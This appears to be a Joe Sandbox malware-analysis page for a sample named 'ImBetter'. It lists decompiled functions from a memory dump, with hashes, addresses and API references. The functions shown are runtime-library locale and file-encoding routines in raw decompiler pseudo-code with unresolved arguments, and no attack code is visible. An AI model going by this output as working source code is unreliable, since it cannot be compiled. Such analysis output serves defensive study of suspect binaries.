Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca74193b7084dc2fc1a69f926ca4695eafb763f8f6206172c52c8a9add9f860
Instruction ID: 5250f9f1ad46ed67afc250ebbd8451026e88c590b377c94507661850ea9b2ac3
Opcode Fuzzy Hash: 6ca74193b7084dc2fc1a69f926ca4695eafb763f8f6206172c52c8a9add9f860
Instruction Fuzzy Hash: C1E1AF32B14B9185EB10EB61E8417EE77A4FB98788F914632DE5D97B82EF78D244C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4A36C Relevance: 1.7, APIs: 1, Instructions: 182
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 67%

			E00007FF77FF7E6B4A36C(signed int __ecx, signed int __ebp, long long __rbx, signed char* __rdx, long long __rsi, long long __rbp, void* __r8, intOrPtr* __r9, signed int _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				signed int _t45;
				signed int _t49;
				signed char _t50;
				void* _t56;
				void* _t63;
				signed int _t77;
				signed int _t88;
				signed int _t89;
				unsigned int _t90;
				void* _t95;
				void* _t109;
				intOrPtr* _t127;
				void* _t132;
				void* _t138;
				void* _t145;
				void* _t152;
				void* _t153;
				intOrPtr* _t154;
				void* _t156;

				_t140 = __rsi;
				_t129 = __rbx;
				_t152 = _t145;
				 *((long long*)(_t152 + 0x10)) = __rbx;
				 *((long long*)(_t152 + 0x18)) = __rbp;
				 *((long long*)(_t152 + 0x20)) = __rsi;
				_push(_t138);
				 *((char*)(__r9)) = 0;
				r10d = r10d & 0x0000003f;
				_t154 = __r9;
				_t88 = r8d;
				_t127 =  *((intOrPtr*)(0xe6b6cdb0 + (__ecx >> 6) * 8));
				if ( *((intOrPtr*)(_t127 + 0x38 + (__ecx + __ecx * 8) * 8)) >= 0) goto 0xe6b4a5b3;
				if ((0x00074000 & r8d) != 0) goto 0xe6b4a3e8;
				_t132 = _t152 + 8;
				_a8 = 0;
				_t95 = E00007FF77FF7E6B458E8(_t127, _t132);
				if (_t95 != 0) goto 0xe6b4a5ce;
				if (_t95 != 0) goto 0xe6b4a422;
				asm("bts esi, 0xe");
				if ((_t88 & 0x00074000) == 0x4000) goto 0xe6b4a438;
				if ((0xffffbfff & _t132 - 0x00010000) == 0) goto 0xe6b4a426;
				if ((0xffffbfff & _t132 - 0x00020000) == 0) goto 0xe6b4a433;
				_t45 = _t132 - 0x40000;
				if ((0xffffbfff & _t45) != 0) goto 0xe6b4a43b;
				 *((char*)(__r9)) = 1;
				goto 0xe6b4a43b;
				_t89 = _t88 | _t45;
				goto 0xe6b4a3e8;
				if ((_t89 & 0x00000301) != 0x301) goto 0xe6b4a43b;
				 *__r9 = dil;
				goto 0xe6b4a43b;
				 *((char*)(__r9)) = 0;
				if ((_t89 & 0x00070000) == 0) goto 0xe6b4a5b3;
				if (( *__rdx & 0x00000040) != 0) goto 0xe6b4a5b3;
				_t90 = __rdx[4];
				_t49 = _t90 & 0xc0000000;
				if (_t49 == 0x40000000) goto 0xe6b4a478;
				if (_t49 == 0x80000000) goto 0xe6b4a4f0;
				if (_t49 != 0xc0000000) goto 0xe6b4a5b3;
				_t50 = __rdx[8];
				if (_t50 == 0) goto 0xe6b4a5b3;
				if (_t50 - 2 <= 0) goto 0xe6b4a496;
				if (_t50 - 4 <= 0) goto 0xe6b4a4b6;
				_t109 = _t50 - 5;
				if (_t109 != 0) goto 0xe6b4a5b3;
				if (_t109 == 0) goto 0xe6b4a57e;
				if ( *((char*)(__r9)) - 1 != 1) goto 0xe6b4a5b3;
				goto 0xe6b4a588;
				r8d = 2;
				E00007FF77FF7E6B320B4(2, _t127, __rbx, _t138, __rsi, _t156, _t153);
				if (_t127 == 0) goto 0xe6b4a496;
				r8d = 0;
				E00007FF77FF7E6B320B4(2, _t127, _t129, _t138, __rsi);
				if (_t127 != 0xffffffff) goto 0xe6b4a4e5;
				E00007FF77FF7E6B29CE4(_t127);
				goto 0xe6b4a5b5;
				if (_t90 >> 0x1f == 0) goto 0xe6b4a5b3;
				r8d = 3;
				_a8 = 0;
				_t56 = E00007FF77FF7E6B319F0(__ebp, _t90 >> 0x1f, _t127, _t132,  &_a8, __r8);
				if (_t56 == 0xffffffff) goto 0xe6b4a4d9;
				if (_t56 == 2) goto 0xe6b4a528;
				if (_t56 != 3) goto 0xe6b4a567;
				if (_a8 != 0xbfbbef) goto 0xe6b4a528;
				 *_t154 = 1;
				goto 0xe6b4a5b3;
				_t77 = _a8 & 0x0000ffff;
				if (_t77 != 0xfffe) goto 0xe6b4a542;
				E00007FF77FF7E6B29CE4(_t127);
				 *_t127 = 0x16;
				goto 0xe6b4a4d9;
				if (_t77 != 0xfeff) goto 0xe6b4a567;
				r8d = 0;
				E00007FF77FF7E6B320B4(2, _t127, _t129, _t138, _t140);
				if (_t127 == 0xffffffff) goto 0xe6b4a4d9;
				 *_t154 = dil;
				goto 0xe6b4a5b3;
				r8d = 0;
				E00007FF77FF7E6B320B4(2, _t127, _t129, _t138, _t140);
				if (_t127 != 0xffffffff) goto 0xe6b4a5b3;
				goto 0xe6b4a4d9;
				_a8 = 0xbfbbef;
				r8d = 3;
				r8d = r8d;
				_t63 = E00007FF77FF7E6B2E20C(0, _t129, _t138);
				if (_t63 == 0xffffffff) goto 0xe6b4a4d9;
				if (3 - 0 + _t63 > 0) goto 0xe6b4a58c;
				return 0;
			}

0x7ff7e6b4a36c
0x7ff7e6b4a36c
0x7ff7e6b4a36c
0x7ff7e6b4a36f
0x7ff7e6b4a373
0x7ff7e6b4a377
0x7ff7e6b4a37b
0x7ff7e6b4a38c
0x7ff7e6b4a38f
0x7ff7e6b4a39d
0x7ff7e6b4a3a4
0x7ff7e6b4a3ae
0x7ff7e6b4a3b7
0x7ff7e6b4a3c5
0x7ff7e6b4a3c7
0x7ff7e6b4a3cb
0x7ff7e6b4a3d4
0x7ff7e6b4a3d6
0x7ff7e6b4a3e2
0x7ff7e6b4a3e4
0x7ff7e6b4a3f7
0x7ff7e6b4a406
0x7ff7e6b4a410
0x7ff7e6b4a412
0x7ff7e6b4a41a
0x7ff7e6b4a41c
0x7ff7e6b4a420
0x7ff7e6b4a422
0x7ff7e6b4a424
0x7ff7e6b4a431
0x7ff7e6b4a433
0x7ff7e6b4a436
0x7ff7e6b4a438
0x7ff7e6b4a441
0x7ff7e6b4a44b
0x7ff7e6b4a451
0x7ff7e6b4a45c
0x7ff7e6b4a463
0x7ff7e6b4a46a
0x7ff7e6b4a472
0x7ff7e6b4a478
0x7ff7e6b4a47e
0x7ff7e6b4a486
0x7ff7e6b4a48b
0x7ff7e6b4a48d
0x7ff7e6b4a490
0x7ff7e6b4a49d
0x7ff7e6b4a4a6
0x7ff7e6b4a4b1
0x7ff7e6b4a4b6
0x7ff7e6b4a4bd
0x7ff7e6b4a4c5
0x7ff7e6b4a4c7
0x7ff7e6b4a4ce
0x7ff7e6b4a4d7
0x7ff7e6b4a4d9
0x7ff7e6b4a4e0
0x7ff7e6b4a4ea
0x7ff7e6b4a4f0
0x7ff7e6b4a4f6
0x7ff7e6b4a501
0x7ff7e6b4a509
0x7ff7e6b4a50d
0x7ff7e6b4a512
0x7ff7e6b4a51d
0x7ff7e6b4a51f
0x7ff7e6b4a523
0x7ff7e6b4a528
0x7ff7e6b4a533
0x7ff7e6b4a535
0x7ff7e6b4a53a
0x7ff7e6b4a540
0x7ff7e6b4a549
0x7ff7e6b4a54b
0x7ff7e6b4a553
0x7ff7e6b4a55c
0x7ff7e6b4a562
0x7ff7e6b4a565
0x7ff7e6b4a567
0x7ff7e6b4a56e
0x7ff7e6b4a577
0x7ff7e6b4a579
0x7ff7e6b4a588
0x7ff7e6b4a58c
0x7ff7e6b4a597
0x7ff7e6b4a59f
0x7ff7e6b4a5a7
0x7ff7e6b4a5b1
0x7ff7e6b4a5cd

APIs

_get_daylight.LIBCMT ref: 00007FF7E6B4A3CF

Part of subcall function 00007FF7E6B458E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B458FC

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: ffdabf625f0531726b61d554a701d0827aae47c09df1aadd620fd94c548f7c7b
Instruction ID: 6aa39c3da01244390385c0b22e4bdb80f9621daca08b88f55d4c46a2fcbe84fe
Opcode Fuzzy Hash: ffdabf625f0531726b61d554a701d0827aae47c09df1aadd620fd94c548f7c7b
Instruction Fuzzy Hash: 8D61B722F2856245FB64A9648D5437EF2819F407A0FF50237DA5D86AC9FF7CE841C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4879C Relevance: 1.6, APIs: 1, Instructions: 150
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B4879C(long long __rbx, void* __rcx, void* __rdx, long long __rsi, signed int __r8, void* __r9) {
				signed long long _t25;
				void* _t27;
				void* _t30;

				 *((long long*)(_t30 + 8)) = __rbx;
				 *(_t30 + 0x10) = _t25;
				 *((long long*)(_t30 + 0x18)) = __rsi;
				_t27 = (_t25 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rcx + _t27)) != sil) goto 0xe6b487ca;
				if (_t27 + __rdx -  !__r8 <= 0) goto 0xe6b48806;
				return __rdx + 0xb;
			}

0x7ff7e6b4879c
0x7ff7e6b487a1
0x7ff7e6b487a6
0x7ff7e6b487ca
0x7ff7e6b487d1
0x7ff7e6b487e4
0x7ff7e6b48805

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd32a8e851e3d1fe2fe7205bcc96b33e60eb014783a1af51f876f04ba047f32c
Instruction ID: d2491621c3f0ed71adef24c76d79b7d44d69bc4c906cae868b9d1290d331d9bb
Opcode Fuzzy Hash: fd32a8e851e3d1fe2fe7205bcc96b33e60eb014783a1af51f876f04ba047f32c
Instruction Fuzzy Hash: 89510822B2878145FB10AB71AC447AFBBA1FB447A4F644136EE5C27A95DF3CD001C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B35EF8 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF7E6B35EF8(void* __ecx, void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r9, long long _a16, long long _a24) {
				void* _v8;
				signed int _v24;
				char _v264;
				unsigned int _t22;
				signed int _t23;
				void* _t25;
				unsigned int _t33;
				intOrPtr _t38;
				signed long long _t53;
				signed long long _t54;
				void* _t56;
				unsigned int* _t67;
				signed long long _t69;
				void* _t71;

				_t58 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				_t53 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t54 = _t53 ^ _t71 - 0x00000120;
				_v24 = _t54;
				_t56 = __rcx;
				E00007FF77FF7E6B2A284(_t54, __rcx, __rcx, __rdx, __rsi, __r9);
				_t69 = _t54;
				E00007FF77FF7E6B2A284(_t54, _t56, _t58, __rdx, _t69, __r9);
				_t67 =  *((intOrPtr*)(_t54 + 0x3a0));
				_t22 = E00007FF77FF7E6B36000(_t56, __rdx);
				r9d = 0x78;
				_t33 = _t22;
				asm("sbb edx, edx");
				_t23 = GetLocaleInfoW(??, ??, ??, ??);
				if (_t23 != 0) goto 0xe6b35f73;
				 *_t67 =  *_t67 & _t23;
				goto 0xe6b35fdb;
				_t25 = E00007FF77FF7E6B33414(_t54,  *((intOrPtr*)(_t69 + 0x98)));
				_t38 =  *((intOrPtr*)(_t69 + 0xb0));
				if (_t25 != 0) goto 0xe6b35f97;
				if (_t38 != 0) goto 0xe6b35fc8;
				goto 0xe6b35fba;
				if (_t38 != 0) goto 0xe6b35fd1;
				if ( *((intOrPtr*)(_t69 + 0xac)) == _t38) goto 0xe6b35fd1;
				if (E00007FF77FF7E6B33414(_t54,  *((intOrPtr*)(_t69 + 0x98))) != 0) goto 0xe6b35fd1;
				if (E00007FF77FF7E6B36100(_t33, 0, _t54, _t56,  *((intOrPtr*)(_t69 + 0x98)),  &_v264, _t69, __r9) == 0) goto 0xe6b35fd1;
				 *_t67 =  *_t67 | 0x00000004;
				_t67[1] = _t33;
				_t67[2] = _t33;
				return E00007FF77FF7E6B3C7F0( !( *_t67 >> 2) & 0x00000001, _t33, _v24 ^ _t71 - 0x00000120);
			}

0x7ff7e6b35ef8
0x7ff7e6b35ef8
0x7ff7e6b35efd
0x7ff7e6b35f0a
0x7ff7e6b35f11
0x7ff7e6b35f14
0x7ff7e6b35f1c
0x7ff7e6b35f1f
0x7ff7e6b35f24
0x7ff7e6b35f27
0x7ff7e6b35f2f
0x7ff7e6b35f36
0x7ff7e6b35f48
0x7ff7e6b35f50
0x7ff7e6b35f52
0x7ff7e6b35f60
0x7ff7e6b35f68
0x7ff7e6b35f6a
0x7ff7e6b35f71
0x7ff7e6b35f7f
0x7ff7e6b35f84
0x7ff7e6b35f8c
0x7ff7e6b35f90
0x7ff7e6b35f95
0x7ff7e6b35f99
0x7ff7e6b35fa1
0x7ff7e6b35fb6
0x7ff7e6b35fc6
0x7ff7e6b35fc8
0x7ff7e6b35fcb
0x7ff7e6b35fce
0x7ff7e6b35fff

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

Part of subcall function 00007FF7E6B2A284: FlsSetValue.KERNEL32 ref: 00007FF7E6B2A2C9

GetLocaleInfoW.KERNEL32 ref: 00007FF7E6B35F60

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: b4bf7505e5f6a231c0eca64019b50b9eed52423bfb60502b45e7ef333c81a90e
Instruction ID: fe8c9f0b2e88870cf7ed0b999b7b2bfd25a5876df3127f5e23975da2816022a1
Opcode Fuzzy Hash: b4bf7505e5f6a231c0eca64019b50b9eed52423bfb60502b45e7ef333c81a90e
Instruction Fuzzy Hash: EF31C572B686C286EB64EB21D8417BBF3A1FB44784FA04036DA4D83B86DF7CE4458711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B35B44 Relevance: 1.6, APIs: 1, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 42%

			E00007FF77FF7E6B35B44(void* __ecx, void* __edx, void* __rax, long long __rbx, signed int* __rcx, void* __rdx, signed int __r8, void* __r9, long long _a8) {
				signed int _t35;
				signed char _t36;
				signed char _t37;
				signed int _t52;
				void* _t54;
				signed int* _t58;
				signed short** _t65;
				void* _t66;
				signed long long _t71;
				signed long long _t72;
				signed long long _t75;

				_t54 = __rax;
				_a8 = __rbx;
				_t58 = __rcx;
				E00007FF77FF7E6B2A284(__rax, __rcx, __rcx, __rdx, _t66, __r9);
				_t71 = __r8 | 0xffffffff;
				_t2 = _t54 + 0x98; // 0x98
				_t65 = _t2;
				_t75 = _t71 + 1;
				if (( *_t65)[_t75] != 0) goto 0xe6b35b69;
				_t65[3] = 0 | _t75 == 0x00000003;
				_t72 = _t71 + 1;
				if (_t65[1][_t72] != 0) goto 0xe6b35b83;
				r8d = 2;
				_t65[3] = 0 | _t72 == 0x00000003;
				_t58[1] = 0;
				if (_t65[3] != 0) goto 0xe6b35bd2;
				r10d = 0;
				r9d =  *( *_t65) & 0x0000ffff;
				_t16 = _t75 - 0x41; // 0x58
				if (_t16 - 0x19 <= 0) goto 0xe6b35bca;
				r9w = r9w - 0x61;
				if (r9w - 0x19 > 0) goto 0xe6b35bcf;
				r10d =  &(r10d[0]);
				goto 0xe6b35bad;
				r8d = r10d;
				_t65[2] = r8d;
				_t35 = EnumSystemLocalesW(??, ??);
				_t52 =  *_t58 & 0x00000007;
				asm("bt ecx, 0x9");
				_t36 = _t35 & 0xffffff00 | _t52 > 0x00000000;
				asm("bt ecx, 0x8");
				_t37 = _t36 & 0xffffff00 | _t52 > 0x00000000;
				if ((_t37 & (0 | _t52 != 0x00000000) & _t36) != 0) goto 0xe6b35c06;
				 *_t58 = 0;
				return _t37;
			}

0x7ff7e6b35b44
0x7ff7e6b35b44
0x7ff7e6b35b4e
0x7ff7e6b35b51
0x7ff7e6b35b56
0x7ff7e6b35b5f
0x7ff7e6b35b5f
0x7ff7e6b35b69
0x7ff7e6b35b71
0x7ff7e6b35b7c
0x7ff7e6b35b83
0x7ff7e6b35b8b
0x7ff7e6b35b93
0x7ff7e6b35b9c
0x7ff7e6b35b9f
0x7ff7e6b35ba5
0x7ff7e6b35baa
0x7ff7e6b35bad
0x7ff7e6b35bb4
0x7ff7e6b35bbc
0x7ff7e6b35bbe
0x7ff7e6b35bc8
0x7ff7e6b35bca
0x7ff7e6b35bcd
0x7ff7e6b35bcf
0x7ff7e6b35bd2
0x7ff7e6b35be2
0x7ff7e6b35bea
0x7ff7e6b35bf0
0x7ff7e6b35bf4
0x7ff7e6b35bf9
0x7ff7e6b35bfd
0x7ff7e6b35c02
0x7ff7e6b35c04
0x7ff7e6b35c10

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7E6B3632F,?,00000000,00000092,?,?,00000000,?,00007FF7E6B2AF45), ref: 00007FF7E6B35BE2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 4375571f603bbd7b06c8870df392e455f4dc75dbc4294b7a8468aa30191a8da1
Instruction ID: cf5e618dc6cf82edab056da1224d6c82e03b2d0403e891f071aacc2c73972e36
Opcode Fuzzy Hash: 4375571f603bbd7b06c8870df392e455f4dc75dbc4294b7a8468aa30191a8da1
Instruction Fuzzy Hash: A0112763B286458AEB14AF15D8403AAB7A0FB80FA0FA44132C659473C1DE78D5D1C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B36100 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF77FF7E6B36100(signed int __ecx, void* __edx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r9, intOrPtr _a8, long long _a16, long long _a24) {
				int _t13;
				signed int _t17;
				void* _t26;
				void* _t35;
				signed short* _t52;

				_t35 = __rax;
				_a16 = __rbx;
				_a24 = __rsi;
				_t26 = __edx;
				_t17 = __ecx;
				E00007FF77FF7E6B2A284(__rax, __rbx, __rcx, __rdx, __rsi, __r9);
				r9d = 2;
				asm("bts ecx, 0xa");
				_t13 = GetLocaleInfoW(??, ??, ??, ??);
				r10d = 0;
				if (_t13 == 0) goto 0xe6b36199;
				if (_t17 == _a8) goto 0xe6b36192;
				if (_t26 == 0) goto 0xe6b36192;
				_t52 =  *((intOrPtr*)(_t35 + 0x98));
				r8d = r10d;
				if (__rdx - 0x41 - 0x19 <= 0) goto 0xe6b36173;
				if (( *_t52 & 0x0000ffff) - 0x61 - 0x19 > 0) goto 0xe6b3617f;
				r8d = r8d + 1;
				goto 0xe6b36160;
				if (_t52[( &(_t52[2]) | 0xffffffff) + 1] != r10w) goto 0xe6b36183;
				if (r8d == (_t17 & 0x000003ff)) goto 0xe6b36199;
				goto 0xe6b3619b;
				return 0;
			}

0x7ff7e6b36100
0x7ff7e6b36100
0x7ff7e6b36105
0x7ff7e6b3610f
0x7ff7e6b36111
0x7ff7e6b36113
0x7ff7e6b36125
0x7ff7e6b3612b
0x7ff7e6b36137
0x7ff7e6b3613d
0x7ff7e6b36142
0x7ff7e6b36148
0x7ff7e6b3614c
0x7ff7e6b3614e
0x7ff7e6b36155
0x7ff7e6b36167
0x7ff7e6b36171
0x7ff7e6b36176
0x7ff7e6b3617d
0x7ff7e6b3618b
0x7ff7e6b36190
0x7ff7e6b36197
0x7ff7e6b361aa

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

GetLocaleInfoW.KERNEL32(?,?,?,00007FF7E6B35EA9), ref: 00007FF7E6B36137

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 3e18e2bfdcf563e015ab49b07b9be3078f9ee81a19e3b2a6d1933e53ce89be45
Instruction ID: 559d03e85ac8b5b7efa48d7f4f15d515df2684408d5b351a526f5e9d4ec7c589
Opcode Fuzzy Hash: 3e18e2bfdcf563e015ab49b07b9be3078f9ee81a19e3b2a6d1933e53ce89be45
Instruction Fuzzy Hash: 0D113D32B3C96282E7646712D80077BB3A5EB40760FA46137EB2D07AC6EE7DE4818351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B35C14 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF7E6B35C14(void* __ecx, void* __edx, void* __rax, long long __rbx, signed char* __rcx, void* __rdx, signed int __r8, long long _a8) {
				int _t17;
				void* _t25;
				void* _t29;
				signed char* _t31;
				signed short* _t36;
				void* _t38;
				signed long long _t44;
				void* _t45;
				void* _t46;

				_t29 = __rax;
				_a8 = __rbx;
				_t31 = __rcx;
				E00007FF77FF7E6B2A284(__rax, __rcx, __rcx, __rdx, _t38, _t45);
				_t46 = _t29;
				_t36 =  *((intOrPtr*)(_t29 + 0x98));
				_t44 = (__r8 | 0xffffffff) + 1;
				if (_t36[_t44] != 0) goto 0xe6b35c36;
				_t25 = _t44 - 3;
				 *(_t46 + 0xb0) = 0 | _t25 == 0x00000000;
				if (_t25 == 0) goto 0xe6b35c7f;
				r9d = 0;
				r8d =  *_t36 & 0x0000ffff;
				if (_t44 - 0x41 - 0x19 <= 0) goto 0xe6b35c77;
				r8w = r8w - 0x61;
				if (r8w - 0x19 > 0) goto 0xe6b35c7c;
				r9d = r9d + 1;
				goto 0xe6b35c5a;
				 *((intOrPtr*)(_t46 + 0xac)) = r9d;
				_t17 = EnumSystemLocalesW(??, ??);
				if (( *_t31 & 0x00000004) != 0) goto 0xe6b35c9f;
				 *_t31 = 0;
				return _t17;
			}

0x7ff7e6b35c14
0x7ff7e6b35c14
0x7ff7e6b35c1e
0x7ff7e6b35c21
0x7ff7e6b35c2a
0x7ff7e6b35c2f
0x7ff7e6b35c36
0x7ff7e6b35c3e
0x7ff7e6b35c42
0x7ff7e6b35c4e
0x7ff7e6b35c55
0x7ff7e6b35c57
0x7ff7e6b35c5a
0x7ff7e6b35c69
0x7ff7e6b35c6b
0x7ff7e6b35c75
0x7ff7e6b35c77
0x7ff7e6b35c7a
0x7ff7e6b35c7f
0x7ff7e6b35c92
0x7ff7e6b35c9b
0x7ff7e6b35c9d
0x7ff7e6b35ca9

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7E6B362EB,?,00000000,00000092,?,?,00000000,?,00007FF7E6B2AF45), ref: 00007FF7E6B35C92

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 7102d82d9e19249cfc66734d30c2e4b1f37253cf8ac2d04f078965c9113aa9bb
Instruction ID: ee5ca04978013d753de4e2741b4c382880ec75531e7f8c55983d052672490aa8
Opcode Fuzzy Hash: 7102d82d9e19249cfc66734d30c2e4b1f37253cf8ac2d04f078965c9113aa9bb
Instruction Fuzzy Hash: 8301F973F1828546E7106B16EC4077BB2D5EB40794FD58233D66907AC5CFBC94818711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2BFEC Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF7E6B2C353,?,?,?,?,?,?,?,?,00000000,00007FF7E6B35190), ref: 00007FF7E6B2C03B

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
